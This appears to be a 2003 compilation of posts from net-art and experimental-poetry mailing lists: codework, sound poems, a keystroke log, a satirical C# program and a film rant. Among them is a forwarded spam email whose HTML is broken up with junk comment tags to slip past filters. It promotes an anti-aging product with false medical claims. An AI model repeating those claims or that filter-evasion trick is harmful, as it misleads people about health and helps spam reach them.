<narrow r:resource=\"Top/Regional/Indian_Ocean_Islands\"/>\n  <narrow r:resource=\"Top/Regional/Caribbean\"/>\n  <narrow r:resource=\"Top/Regional/North_America\"/>\n  <narrow r:resource=\"Top/Regional/A\"/>\n  <narrow r:resource=\"Top/Regional/B\"/>\n  <narrow r:resource=\"Top/Regional/C\"/>\n  <narrow r:resource=\"Top/Regional/D\"/>\n  <narrow r:resource=\"Top/Regional/E\"/>\n  <narrow r:resource=\"Top/Regional/F\"/>\n  <narrow r:resource=\"Top/Regional/L\"/>\n  <narrow r:resource=\"Top/Regional/Z\"/>\n  <narrow r:resource=\"Top/Regional/G\"/>\n  <narrow r:resource=\"Top/Regional/N\"/>\n  <narrow r:resource=\"Top/Regional/K\"/>\n  <narrow r:resource=\"Top/Regional/M\"/>\n  <narrow r:resource=\"Top/Regional/W\"/>\n  <narrow r:resource=\"Top/Regional/R\"/>\n  <narrow r:resource=\"Top/Regional/S\"/>\n  <narrow r:resource=\"Top/Regional/I\"/>\n  <narrow r:resource=\"Top/Regional/P\"/>\n  <narrow r:resource=\"Top/Regional/U\"/>\n  <narrow r:resource=\"Top/Regional/J\"/>\n  <narrow r:resource=\"Top/Regional/Q\"/>\n  <narrow r:resource=\"Top/Regional/T\"/>\n  <narrow r:resource=\"Top/Regional/H\"/>\n  <narrow r:resource=\"Top/Regional/Y\"/>\n  <narrow r:resource=\"Top/Regional/V\"/>\n  <narrow r:resource=\"Top/Regional/O\"/>\n  <narrow r:resource=\"Top/Science/Regional\"/>\n\n  <narrow r:resource=\"Top/Science/Electronics\"/>\n  <narrow r:resource=\"Top/Shopping/Home_Electronics\"/>\n\n\n___\n\n\n\nDate: Sat, 24 May 2003 17:10:26 +0300\nFrom: Alexei Shulgin <alexei {AT} easylife.org>\nTo: Florian Cramer <cantsin {AT} zedat.fu-berlin.de>\nSubject:  {AT} HALLUCINATION Weekly\n\n======================\u008d\u0087\u0096 {AT} \u0083h\u0083\u0089\u0083b\u0083O\u0090\u00cb\u0096\u0139\u0093X============================\n.\n.\u0081 {AT} \u0081 {AT} \u0081 {AT} \u0081 {AT} \u0081 {AT}   \u0081 {AT} \u0081\u009a\u0081\u0099\u0081\u009a Drug Shop HALLUCINATION \u0081\u009a\u0081\u0099\u0081\u009a\u0081 {AT} \u0081 {AT} \u0081 {AT} \u0081 {AT} \u0081 {AT} \u0081 {AT} \u0081 {AT} \u0081 {AT} \u0081 {AT} \u0081 {AT} \n.====================================================================\n.\n.\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\n._/_/_/_/_/\n._/_/_/\u0081 {AT} \u0081 {AT} \u0081 {AT} \u0081 {AT} \u0081 {AT} \u0081 {AT} \u0081 {AT} \u0081 {AT} \u0081 {AT} \u0081 {AT} HALLUCINATION Weekly\n._/_/_/\u0081 {AT} \u0081 {AT} \u0081 {AT} \u0081 {AT} \u0081 {AT} \u0081 {AT} \u0081 {AT} \u0081 {AT} \u0081 {AT} \u0081 {AT}     \u0081|Vol.2\u0081|\n._/_/_/_/_/\n.\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\u0081\n\n\u0081\u0104\n\n\n\n\n\n\nDate: Fri, 23 May 2003 09:13:20 -0700\nFrom: \"[]\" <kanztanz {AT} YAHOO.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: bop m\n\nWell\nBe-bop-a-lula   baby,\nBe-bop-a-blua   maybe.\nBe-bop-a-lula   baby\nBe-bop-a-lula   maybe\nBe-bop-a-lula   baby\nbaby,   baby\n\nWell [do]\nblue jeans. [re]\nall the teens. [me]\nI know [fa]\nme so[l].\n\nSay [la]\nBe-bop-a-lula   baby, [ti]\nBe-bop-a-lula   maybe.[do]\nBe-bop-a-lula   baby  [do]\nBe-bop-a-lula   maybe [la]\nBe-bop-a-lula   baby  [sha na na na]\n\nMy my\n\nWell [la]\nShe's the one      beat.  [re]\nShe's the two      feet.  [re]\nShe's the three    store. [re]\nfour more more more. [more][lalalalalalala]\n\nBe-bop-a-lula   baby, [ti]\nBe-bop-a-lula   maybe.[so]\nBe-bop-a-lula   baby   [l]\nBe-bop-a-lula   maybe   [e]\nBe-bop-a-lula   baby     [eh eh eh ...plink, sniff]\nby[la] by[la]\n\n\n__________________________________\nDo you Yahoo!?\nThe New Yahoo! Search - Faster. Easier. Bingo.\nhttp://search.yahoo.com\n\n\n\nDate: Fri, 23 May 2003 15:16:32 +0300\nFrom: J Lehmus <jlehmus {AT} neubauten.org>\nTo: cybermind {AT} LISTSERV.AOL.COM\nSubject: Seach Me\n\nNo luck with rabbits\n(Porcupine Tree)\nApr 18, 2002 I realized that I am not that keen on Finland any more. When\nyou finally get it, you don't want it. There's something about it..\nMar 04, 2002 Lehmus got a new, even more brutal hair-cut. Arrrgh.\nMar 01, 2002 Lehmus goes to Funland in May! Hellurei!\nJan 16, 2002 The mystery of Bubla's disappearence was partly revealed.\nJan 2, 2002 Lehmus is back and everyone is happy. Hahhah. Ehm.\nDec 3, 2001 Lehmus is sick and maybe will die. If not, see you next Monday.\nNov 21, 2001 Benefon has collapsed in share markets\nOct 12, 2001 Nothing so bad as not to be good for something became Lehmus'\nofficial life credo\nSep 12, 2001 Lehmus got a brutal hair-cut. Looks even better than before\n*cringe*\nSep 3, 2001 So I am back. Don't talk to me :(\nJul 10, 2001 Lehmus tries to smuggle herself to Finland. Maybe will be back\nin September.\nMay 13, 2001 I noticed that the silver medals fit to the blue&white jerseys\nmuch better. Hahhaaah! ;)\nApr 2001 My parents denied my presence and did not take the CZ2001 Census\nform for me :(\nJan 1, 2001 I survived the New Year's Eve. Okei, maybe next time.\nDec 19, 2000 I successfully passed my driving exams.\nDec 4, 2000 Hallelujah! The hard, independent part of my life started. I\nmoved from my parents.\nOct 2, 2000 Since this date I have not been an owner of Bubla the Rabbit.\nDon't ask me about the details *grin*\n\nOn the other hand these things make me pissed off: Being not somewhere else=\n=2E\n\nDissembling. Frustration. Irresolution of mine. Dysmensia of mine. Dealing\nwith narrow-minded people. Having no or little money. Being hungry. Summer.\n\nI long for the country that is not, for everything that is I am tired of\ndesiring.\n(Edith S=F6dergran)\n\nDo you believe in doubles.\n\n\n\nDate:         Thu, 22 May 2003 00:50:32 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: Cranian\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nCranial\n\n\nThese texts are cranial; they spider google, collect/collapse, as if\ngoogle were the world-lightning of the net, those waveforms pointing to\nconvulsive solitons, moments of sudden and implicit revelation, turned out\nmatrices of phenomenal submergences. The world-lightning ruptures, creates\nsymptoms without direction, shadow-glows of truths close to toppling,\nanything but absolute facticity. Furious cumulonimbus cauterizes any\nconceivable functionality. You've got to understand the incomprehension of\nthe symbolic, and google is such evidence; the world temporarily gives\nway, only to close again on confusion, cues and clues. Of this I haven't\nlearned but a name which collapses: \"Alan Sondheim\" or a new hiatus: \"at\",\n\"7\" \"au\", \"56\" \"br\", \"2\" \"ca\", \"19\" \"cc\", \"1\" \"com\", \"245\" \"de\", \"18\"\n\"dk\", \"3\" \"edu\", \"139\" \"hu\", \"1\" \"ie\", \"1\" \"it\", \"1\" \"jp\", \"3\" \"net\", \"40\"\n\"nl\", \"2\" \"no\", \"1\" \"org\", \"352\" \"ph\", \"6\" \"pt\", \"1\" \"to\", \"1\" \"uk\", \"98\".\nWithin the top thousand, a collection of domains centered on organization,\nfollowed by commerce, and not a military sighting in the group. (Of the\nfull list, include me in your army!.)\n\n___\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: My Interruptions\nDate: Thu, 22 May 2003 20:36:06 -0400 (EDT)\n\n\n\n\nMy Interruptions\n\n\n<there> hey </there>\n\nkeycode  28 release\nkeycode  35 press\nkeycode  35 release\nkeycode  18 press\nkeycode  18 release\nkeycode  38 press\nkeycode  38 release\nkeycode  38 press\nkeycode  38 release\nkeycode  24 press\nkeycode  24 release\nkeycode  57 press\nkeycode  57 release\nkeycode  21 press\nkeycode  21 release\nkeycode  24 press\nkeycode  24 release\nkeycode  22 press\nkeycode  22 release\nkeycode  57 press\nkeycode  57 release\nkeycode  50 press\nkeycode  50 release\nkeycode  30 press\nkeycode  30 release\nkeycode  37 press\nkeycode  37 release\nkeycode  18 press\nkeycode  18 release\nkeycode  57 press\nkeycode  57 release\nkeycode  50 press\nkeycode  50 release\nkeycode  18 press\nkeycode  18 release\nkeycode  57 press\nkeycode  57 release\nkeycode  31 press\nkeycode  31 release\nkeycode  24 press\nkeycode  24 release\nkeycode  57 press\nkeycode  57 release\nkeycode  46 press\nkeycode  46 release\nkeycode  19 press\nkeycode  19 release\nkeycode  30 press\nkeycode  30 release\nkeycode  44 press\nkeycode  44 release\nkeycode  21 press\nkeycode  21 release\nkeycode  57 press\nkeycode  57 release\nkeycode  23 press\nkeycode  23 release\nkeycode  57 press\nkeycode  57 release\nkeycode  17 press\nkeycode  17 release\nkeycode  18 press\nkeycode  18 release\nkeycode  20 press\nkeycode  20 release\nkeycode  57 press\nkeycode  57 release\nkeycode  50 press\nkeycode  50 release\nkeycode  21 press\nkeycode  21 release\nkeycode  57 press\nkeycode  57 release\nkeycode  25 press\nkeycode  25 release\nkeycode  30 press\nkeycode  30 release\nkeycode  49 press\nkeycode  49 release\nkeycode  20 press\nkeycode  20 release\nkeycode  31 press\nkeycode  31 release\nkeycode  42 press\nkeycode  42 press\nkeycode  42 press\nkeycode  42 press\nkeycode  42 press\nkeycode  42 press\nkeycode  42 press\nkeycode  42 press\nkeycode  42 press\nkeycode  42 press\nkeycode  42 press\nkeycode  42 press\nkeycode  42 press\nkeycode   2 press\nkeycode   2 release\nkeycode   2 press\nkeycode   2 release\nkeycode   2 press\nkeycode   2 release\nkeycode  42 release\n\n\n___\n\n\nTo: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org,audiovision {AT} egroups.com,\nFrom: \"][mez][\" <netwurker {AT} hotkey.net.au>\nSubject: _r.e[ther]ality system[ic]_\nDate: Mon, 19 May 2003 18:40:34 +1000\n\n\n\n\n\n\n\n[user.name(d & resonant):           ]\n[body drizzling + let.t(rist)er nuzzling]\n[n.(van)eck.ing dire.c(li)t.ories +||- 1  ]\n[s.c(ode)ulpted binaries + mus(k)cles (d)rivers]\n[tech.wreckas + _vs_ muzac_loaders]\n[]\n[]\n[]\n[]systemic\n[]psswd: xx.xy.xx\n\n\n\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker/txts\n_\n_men[iscus_heart] plucking via broken bag.ga[u]ges_\n\n\n\nFrom: Fatimah Fatica <Valeriejwx {AT} wap.hu>\nTo: <paragram {AT} gmx.net>\nSubject: Information for paragram {AT} gmx.net (gmx)\nDate: Sun, 25 May 2003 12:57:42 -0700\n\n<html>\n<body>\n<br>\nAs seen on N<!|dAd Adzi z*08F3>B<!|dAd Adzi z*08F3>C, C<!|dAd Adzi z*08F3>B<!|dAd Adzi z*08F3>S, C<!|dAd Adzi z*08F3>N<!|dAd Adzi z*08F3>N, and even O<!|dAd Adzi z*08F3>p<!|dAd Adzi z*08F3>rah.<br>\nAs reported on in the New En<!|dAd Adzi z*08F3>gland Jou<!|dAd Adzi z*08F3>rnal of Medi<!|dAd Adzi z*08F3>cine.<br>\nReverses ag<!|dAd Adzi z*08F3>ing while bur<!|dAd Adzi z*08F3>ning f<!|dAd Adzi z*08F3>at, without dieting or exercise.<br>\nForget  aging and die<!|dAd Adzi z*08F3>ting forever And it's Gu<!|dAd Adzi z*08F3>arant<!|dAd Adzi z*08F3>eed!<br> \n<br>\n1.Body F<!|dAd Adzi z*08F3>at Lo<!|dAd Adzi z*08F3>ss<br>\n2.Wr<!|dAd Adzi z*08F3>inkle Reduc<!|dAd Adzi z*08F3>tion<br>\n3.Increased Ene<!|dAd Adzi z*08F3>rgy Levels<br>\n4.Mus<!|dAd Adzi z*08F3>cle Stre<!|dAd Adzi z*08F3>ngth impro<!|dAd Adzi z*08F3>vement<br>\n5.Incr<!|dAd Adzi z*08F3>eased Se<!|dAd Adzi z*08F3>xual Pot<!|dAd Adzi z*08F3>ency<br>\n6.Imp<!|dAd Adzi z*08F3>roved Emoti<!|dAd Adzi z*08F3>onal Stab<!|dAd Adzi z*08F3>ility<br>\n7.B<!|dAd Adzi z*08F3>et<!|dAd Adzi z*08F3>ter Me<!|dAd Adzi z*08F3>mory<br>\n<br> \nLo<!|dAd Adzi z*08F3>se wei<!|dAd Adzi z*08F3>ght while bui<!|dAd Adzi z*08F3>lding le<!|dAd Adzi z*08F3>an mus<!|dAd Adzi z*08F3>cle ma<!|dAd Adzi z*08F3>ss<br>\nand reve<!|dAd Adzi z*08F3>rsing the rav<!|dAd Adzi z*08F3>ages of aging all at once.<br>\n<br>\n<a href=\"http://www.liuyi-space.com/health\";>Please vis<!|dAd Adzi z*08F3>it our web<!|dAd Adzi z*08F3>si<!|dAd Adzi z*08F3>te to le<!|dAd Adzi z*08F3>arn the fa<!|dAd Adzi z*08F3>cts about this qua<!|dAd Adzi z*08F3>lity  hea<!|dAd Adzi z*08F3>lth  pro<!|dAd Adzi z*08F3>duct<br> and vi<!|dAd Adzi z*08F3>ew our abs<!|dAd Adzi z*08F3>olute satis<!|dAd Adzi z*08F3>faction gua<!|dAd Adzi z*08F3>rantee<!----> click here</a><br><BR>\n<br>\n<br>\n<br>\n<a href=\"http://www.yourvling.com/rm/rm.html\";>To u<!|dAd Adzi z*08F3>ns<!|dAd Adzi z*08F3>u<!|dAd Adzi z*08F3>bs<!|dAd Adzi z*08F3>cr<!|dAd Adzi z*08F3>ib<!|dAd Adzi z*08F3>e,<!----> click here</a>\n</a></div></body></html>\n</body>\n</html>\n                    \n\n\n\n\nDate: Sat, 24 May 2003 18:48:09 +0200\nFrom: +   lo_y.  + <loy {AT} myrealbox.com>\nTo: syndicate {AT} anart.no\nSubject: Re:  UNOPPOSED QUEST  #0001\n\nAt 00:36 24/05/03 -0700, Augie redet:\n>UNOPPOSED QUEST  #0001\n>\n>\n>Not? they idea for this participants\n\nOOOSEESTT PTTHH  #hthe\n\n\nY--y owaa f**r thi ssla ameithawwwia\n  Iiett ttt ue-----tt teieaaat--- he *S eeiiimatr, E- --t **TRAN* G.D | |\netet*trurth Nandpprqi onowty *attt* sotinupo* \"*sie lpya cra ----.\n  Siastcumame el ni giter onye pid enil iouii glt **sswe *hth lt UU \"\"\"wi\n\n\n\nEai ul** *l* *RTTPP* pnbndbepl ntwitutt**, Robnbear--noww rw.*h hinae\nhans lr ttyed **u nn--th *trut* tttsstteessa play athteeey me FO\n  \"iii ofh pats awrir- oulr au.qq ia PA t* hpy, tterf | | **ometehe\nieea\"pd prups ihiapl **a?h* ee** rts *PPTUH* ed\"slllddetps\n  Tty d'''m d* LP Eisrrc | | \"arohi-- tp nes aenen lssle gll\"apapfl *is\n*RSPOM* t--- --- -fve atehett *p LE ell *RRRTS* fthi ssss wEEONi oow\n*SAVVR*\n  Apn msggg Trrranow wrw.llyc teh OTO, Glgideett lmabnaana isphth *hecp*\n*il eaai cpaaannthi moaa aMURNi Gdddda Aaoogho\n  Err Sii D*uttaf- titret ie ED wor *EE*TH* Kfl, ologg poonw oose\n'--keals.s' akrt e*t uthl barnndo to ilyal rt AA ***una\n\n\n\nYed *l*lre* r\"or'''l | | emcrs wpl y*no handslllrr nd\n  Era iica s.iiiii--yrfu neym tTADOc Uttor tuuhp, lmnnawwiree eem olyi\neeniinno otoio ive iinnfs *frrw* llml*a er IN ott *EPQPL* EN iaa lappd e\n  Iannd sat T ug nnngint etion lseldmesiaan, nnmnn ,wwrira sas ,ae\n*OOILO* tatslsf thaa aplff Pdggvnie\n  Pttso tea adra deeetff t..p eWNEEd enth*ol, --t *TLGDD* frttuhh***tuffr\nT.I | | Papd erre Ionan el *isp teiiet- -----pdd\n\n\n\nVatoo gow wiiini, h*irse,,eedfo.t a$1o rkkn willap\"\n  Ssa ingtti Pla Wit- --lea Trrtsate, otfi n vi immn eo-- fff 1ndeee\n*thei* i-e , yedfm-\n  --af rth a-r sionnwewei ng, Sttla ns tera ninit*k aqqiasia ftee no*u.a\ninc\n  Rt aaiietnio pst ssic tss ynn** tpoo *tr tttu siehffats cr*\n  *te pprr Nte?* rurhe ar--efooos oo, ado *DTEVI* eassa | | ydn *PPLT**\nriths nre trrtth *ennd* rnc *ONLYL* Lfttet owad ettny yfo\n\n\n\n*ttinliii**tut.* papf tee *rkk sssao yyrl p\"on Iddib\n  Tth da*ts S-snee als fornowtn ,ga\"\"tt *truthn s. VI arsb aae tith .\"i\n  --keccee ereetcre reere tou \" apeaei *t\"pr* eto dnn, thheuolot\"\"ad*pp\nPsacrea Ffdvopotove**\n  Srr rar *TH*PP* lslp \"lrth e*t* cANANy alaovowt, eeeeeeyisls'dd owwwr\nt*t t*uke ne htothhrs iu YA\n\n\n\nHee t*dp oolla\"idea g*ut rRTOEt teepttty dplay*ae ne OR, wey *ENENT*\nRcriiiiia orth ssp *tatew **han* tr sb ytl*l*n----g eieea ts ewaea.\n  Nnd ddanaaan uri, als.s 9t --asrbnbn ennon ewt*t* *aefb* eul \"slam\nnvrggsssrih irh** tuu *P\"SYY* L.A.\n  Hhi ngll Th*omn alsso ur eht *UWRRF* p|thheui --t erd pooabopl ntnnetm\nnaah *tr ttcr rree epti 1$mr a** *PVVAR* Dvop tessi\n\n\n\nS|\"pp --- *egrro* lnnfnow adpp *ht Issi y*i gt TO\n  *r* Llbe ncdiiiii ls.o eYNABo e*p *tett *s* *t ER ... reincoadessd\n**l*ld iriiin *itat* not eir *NPTYI* Ean'ddidii=Eottdplaye oloo oRKKNd\n  Lee *\"aa Shlyche,i e,lyyymo e--- ---pe, en\"\"a dn wwappapdo uuth* begd\nnow wrwwup *cryi* ntra | |\n  Ra$ $$**e* -?htataa ncoooalh ssss, \"pre*truth* ii ely *ANNBN* a|hhe\nESs miti=t *othu* uyy tateta *s*ih* sieh ter oedthiss \"l *kkssakth\n\n\n\nSe veei22p2 ep pa 22a Sllamsnn Narewwrwttor teh*yo *sotv* voi tpsk\nNals.fe si |N o|\" he*pp* viee**tf\n  The*ftt s001iap. -aa **us ppot aa ea - oy*s*she*tr th*s ppa meal A\" ,gn\n*RWWMM* A.P | | nria\"eeottt Ssidlap\"l\n  Srw wqiwous-itorkk ayw isneehtth sead gGRRNd sma t* ruth*p *amaf* tte\nIssi Iio$2ionalw ri GG Attruth*idea\n\n\n\nKen* ay* ymonerree encucr* tt | | Tew -r, ahgh ** T**ed fffpap ss-sl*aas\noooatu *bwaa* dp RL y** tosll\"mcotrd\n  Oit rnind aa ann comiriveathu .ingg'p, *tp a uutour y*id aan d*trut\n*idea* rfliniiey-- dtttapt Ooeeoty-af fet\n  Rfft tss toth Rehraffii | | Iiee tp her, does hissolon.wgand prcac\noieivatidea teapo pyo eylyrwd -- -i Ialsl\n  R-? Llh h---- --p amm uat -ing anlseva, reetetrtt*e ra yww *IFOOO*\nniaat UUe -ramir *uefo* sti .pet ooev*trr *ihi*tn ta myso\n\n\n\nDe**r ttnwt uroplpya*p \"or *ehem$* -pre ura ofhlla*i eaeetat--\n  Titlgr spmria ls ii iift tyes dvoi asenri ucc efr ano *NDSSL*\npldthisbegdi S.H | | Naid aee* ay* e?nlly--- np CU no\n  Wrw hvie ely *PP001* Hroitionnn lpla aRLAOo Al-----, raannnnnm cap\n*DGGGR* tannng *edly nnb *AP\"FF* sllou and saptpt *lych* *nidti* =--\n*-FORE* siie itad vITILl prtt*e\n  *r*soto,soc yes dfffl tss\n\n\n\n\n\nFrom: <dymond {AT} idirect.ca>\nTo: <_arc.hive_ {AT} lm.va.com.au>\nSubject: c# Bush\nDate: Sun, 25 May 2003 00:25:21 -0400 (EDT)\n\nusing System;\nclass GeorgeBush\n{\n\tpublic string Years(int nums){\n\t\tif (nums>4) {\n\t\t\tDemocracy(nums);\n\t\treturn \"we have lost our humanity\";\n\n\t\t}\n\n\n\n\t\telse {\n\t\t\t\tDemocracy(nums);\n\t\treturn \"we have exerted our rights as Humans\";\n\n\t\t}\n\t}\n\npublic\tbool Democracy(int cb) {\n\tif (cb<4){\n\treturn true;\n\t}\n\telse {\n\treturn false;\n\t}\n\t}\n\n}\nclass MainClass\n{\n\tpublic static void Main(string[] args)\n\t{\n;\n\t\tGeorgeBush You=new GeorgeBush();\n\t\tint a=Int32.Parse(Console.ReadLine());\n\t\tbool c=You.Democracy(a);\n\t\tConsole.WriteLine(\"{0} and your existenz is {1}\",You.Years(a), c);\n\t}\n}\n\n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org,audiovision {AT} egroups.com\nFrom: \"][mez][\" <netwurker {AT} hotkey.net.au>\nSubject: _sonAR Tension_\nDate: Wed, 21 May 2003 15:06:45 +1000\n\n\n\nAt 11:51 AM 20/05/2003 -0400, you wrote:\n>x\n\nx\ny\n\nvs\n\n>x\n\n\n\n\n--\n.\nx\n.\n\nn.[m]a[i]ming conventions = dic[k]tation.by.D.[e(r)go]fault[lines]\nre:sonA[R].Te[nsion] n.deed.\n\nif: xx|xy.ing 4wards [in boundaried vision] is.yr.aim.\ndrift[ing].N.ebbishly.silent.does.not.imply.muteness.\n\n\n_we_......._all_......?\n[para(wyrd)meter snipped N dossier vacant].........\n\n\n\n\n.\nx\nx\n.\n\n\nsubmission.m.plies.causality.\nsub[in]scription.n.vokes.[quinte]s.sence.\n\n\n.\ny\n.\n\n\nwhos dea.f.init[e]ion? the great _we_? the n.clu[e]sive _a[wed]ll_?\nyodaspeaking.via.yearning.l.abe.l[incoln]s.+lush.progressives............\n\n\n.\nx\ny\n.\n\nagain, the .grate[ing]_we|all_.\n\nmajor[+(in) lieu.tenants]ity_directs_less_+_mandates_[sir thomas] mo[o]re\ni.stand.outside.+.shift.gr.[e]at.eful.audio.rain.tears\n\n[(break.)fast.tingles_+_sh.utter.ed_down_the_meme_hatches]\n\n\nnuzzleOn: active-X-ing + reduction.in.st[assumed f]erility\n\n\n.\nxx\n|\nxy\n.\n\n\nhmmm.\ni'd hope 4 more i[t]chingly up_close[ted]_N_purrr.poseful.\n\n*pouting_[rad]ox_lips.N.drunk_projectings*\n\n\n\n\n\n\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\n_\n_men[iscus_heart] plucking via broken bag.ga[u]ges_\n\n\n\nDate:         Sat, 17 May 2003 00:46:41 -0700\nFrom: solipsis <solipsis {AT} HEVANET.COM>\nSubject: the matrix did suck\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nBarky:\n\nTHe*\nMATRIXmatrixMaTrIxMMaaTTTrrrIIIXXXxxMATRIXmatrixMaTrIxMMaaTTTrrrIIIXXXxxMATRIXmatrixM\naTrIxMMaaTTTrrrIIIXXXxx\nMATRIXmatrixMaTrIxMMaaTTTrrrIIIXXXxxMATRIXmatrixMaTrIxMMaaTTTrrrIIIXXXxxMATRIXmatrixM\naTrIxMMaaTTTrrrIIIXXXxx\nMATRIXmatrixMaTrIxMMaaTTTrrrIIIXXXxxMATRIXmatrixMaTrIxMMaaTTTrrrIIIXXXxxMATRIXmatrixM\naTrIxMMaaTTTrrrIIIXXXxx\nMATRIXmatrixMaTrIxMMaaTTTrrrIIIXXXxxMATRIXmatrixMaTrIxMMaaTTTrrrIIIXXXxxMATRIXmatrixM\naTrIxMMaaTTTrrrIIIXXXxx\nMATRIXmatrixMaTrIxMMaaTTTrrrIIIXXXxxMATRIXmatrixMaTrIxMMaaTTTrrrIIIXXXxxMATRIXmatrixM\naTrIxMMaaTTTrrrIIIXXXxx\nMATRIXmatrixMaTrIxMMaaTTTrrrIIIXXXxxMATRIXmatrixMaTrIxMMaaTTTrrrIIIXXXxxMATRIXmatrixM\naTrIxMMaaTTTrrrIIIXXXxx\nMATRIXmatrixMaTrIxMMaaTTTrrrIIIXXXxxMATRIXmatrixMaTrIxMMaaTTTrrrIIIXXXxxMATRIXmatrixM\naTrIxMMaaTTTrrrIIIXXXxx\nMATRIXmatrixMaTrIxMMaaTTTrrrIIIXXXxxMATRIXmatrixMaTrIxMMaaTTTrrrIIIXXXxxMATRIXmatrixM\naTrIxMMaaTTTrrrIIIXXXxx\nMATRIXmatrixMaTrIxMMaaTTTrrrIIIXXXxxMATRIXmatrixMaTrIxMMaaTTTrrrIIIXXXxxMATRIXmatrixM\naTrIxMMaaTTTrrrIIIXXXxx\nMATRIXmatrixMaTrIxMMaaTTTrrrIIIXXXxxMATRIXmatrixMaTrIxMMaaTTTrrrIIIXXXxxMATRIXmatrixM\naTrIxMMaaTTTrrrIIIXXXxx\nMATRIXmatrixMaTrIxMMaaTTTrrrIIIXXXxxMATRIXmatrixMaTrIxMMaaTTTrrrIIIXXXxxMATRIXmatrixM\naTrIxMMaaTTTrrrIIIXXXxx\nMATRIXmatrixMaTrIxMMaaTTTrrrIIIXXXxxMATRIXmatrixMaTrIxMMaaTTTrrrIIIXXXxxMATRIXmatrixM\naTrIxMMaaTTTrrrIIIXXXxx\npretty much sucked..\n\n\nFirst of all, in the scene where he fights the 50 or 60 Smiths.. He should have used\nthe ground as a kind of trampoline,\ncreating a pleasing/confusing ripple for the Smiths to deal with, just jumping up and\ndown and making large ripples through\nall the buildings the ground etc. (I'll get to why in a minute) Then he should have\nbegun to spin rapidly, so rapidly in fact,\nthat if he held out the hollow sign pole it would begin to sing, so now he's bouncing\nand spinning say 5600rpm, now\nwhat happens is he begins to sychronize his bounces leaving a ring of smiths in the\nair for a moment.. Now he intuitively\nprograms himself to be a kind of rotating death bead on a long guitar string playing\nby an enormous invisible finger,\nwhen the invisible string is plucked, he moves in a specific circumference shattering\nthe Smiths, or perhaps he spins very fast\nas he is plucked and the vibrational harmonics shatter these pesky constructs.. I\nguess my point is, that for Neo, the Matrix\nshould be something much more akin to a lucid dream, I mean seriously, if he can fly,\nhe should be able to bend reality in a much\nmore convincing way..\n\nThe Albino dread-lock ass/ass/in's were weak, and the dance scene reminded me of the\newoks celebration scene except\nthey used moby or something instead of the cool gopher marimba music on the empire\nstrikes back..\n\nthe revelation that there are rogue programs populating the matrix was real cutting\nedge, except that TRon was more visionary and it was what 50 years ago.. best thing\nabou the whole movie i suppose was the japanese code motif..\n\noh and the conspiracy angle, or the cyclical history riff, neoadam and the\nanomaly-harem, whatever.. that was interesting\ni guess, but for me the whole thing was just plain too John Woo.. I still wonder what\nAI wouldve looked like if Spielburg hadnt\nruined it.. didnt he ruin it.. or would it have sucked anyway.. Dr. Strangleove was\ngood..\n\nThe Zion traffic controller scene was pretty interesting, but it seems like every\nmovie you see these days has\nholographic pseudoscreenless gui's sprouting out of every surface of your body..\n\nYou'd think someone might watch Bunuel's Un Chien Andalou and get an idea or two for\na whole new \"revolution\" in cinema\ncalled Modernism, where the filmic image is a sort of \"art-form\" where color and form\nand story are these metaphoric artifices\nmeant to create poetic experiences simulating dreams.. that would be really, like,\nincredible, there could even be symbolisim\nand stuff,\n\nLuckily I can watch the DVD version of ATALANTE now and wash it all out of my\nmind..or just read my new lost and found times..\nWell I guess I shouldnt complain too much, I went to the matinee and it only cost me\na little over 5bucks, thats a Latte' and a muffin..\n\nlq (barky)\n\n*tyrosine hydroxylase\n\n\n\nDate:         Thu, 22 May 2003 20:08:26 -0700\nFrom: \"[]\" <kanztanz {AT} YAHOO.COM>\nSubject: sol:me:do:re:la\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nre:do:do:ka:sol:ti:re:.\nre:sol:ti..ka:sol:re:re:\nre:sol:sol:ka:la:re:me\ndo:re:re:.ka:re:do:re:\nei:nz:ka..ka:ei:nz:.\nme:do:do:ka:do:me:do.\nre:dp:fa..ka:fa:do:re:.\nre:fa:ti..ka:ti:re:fa:\nre:sol:ti..ka:ti:re:sol.\nre:mi:la:ka:re:me:sol:\nre:me:sol:ka:do:me:la.\ndo:me:la.ka:re:me:la..\nre:me:la:ka:re:re:fa.\nre:re:fa.ka:re:sol:ti:\nre:sol:ti:ka:re:re:do.\nre:re:do..ka:re:re:fa:\nre:re:re:ka:re:fa:la:.\nre:fa:la:ka:fa:re:re:\nfa:re:re:.ka:me:re:re:\nme:re:re:..ka:me:ti:re:\nme:ti:re:ka:do:re:re:\nre:do:do:ka:sol:ti:re:.\nre:sol:ti..ka:sol:re:re:\nre:sol:sol:ka:la:re:me\ndo:re:re:.ka:re:do:re:\nei:nz:ka..ka:ei:nz:.\nme:do:do:ka:do:me:do.\nre:dp:fa..ka:fa:do:re:.\nre:fa:ti..ka:ti:re:fa:\nre:sol:ti..ka:ti:re:sol.\nre:mi:la:ka:re:me:sol:\nre:me:sol:ka:do:me:la.\ndo:me:la.ka:re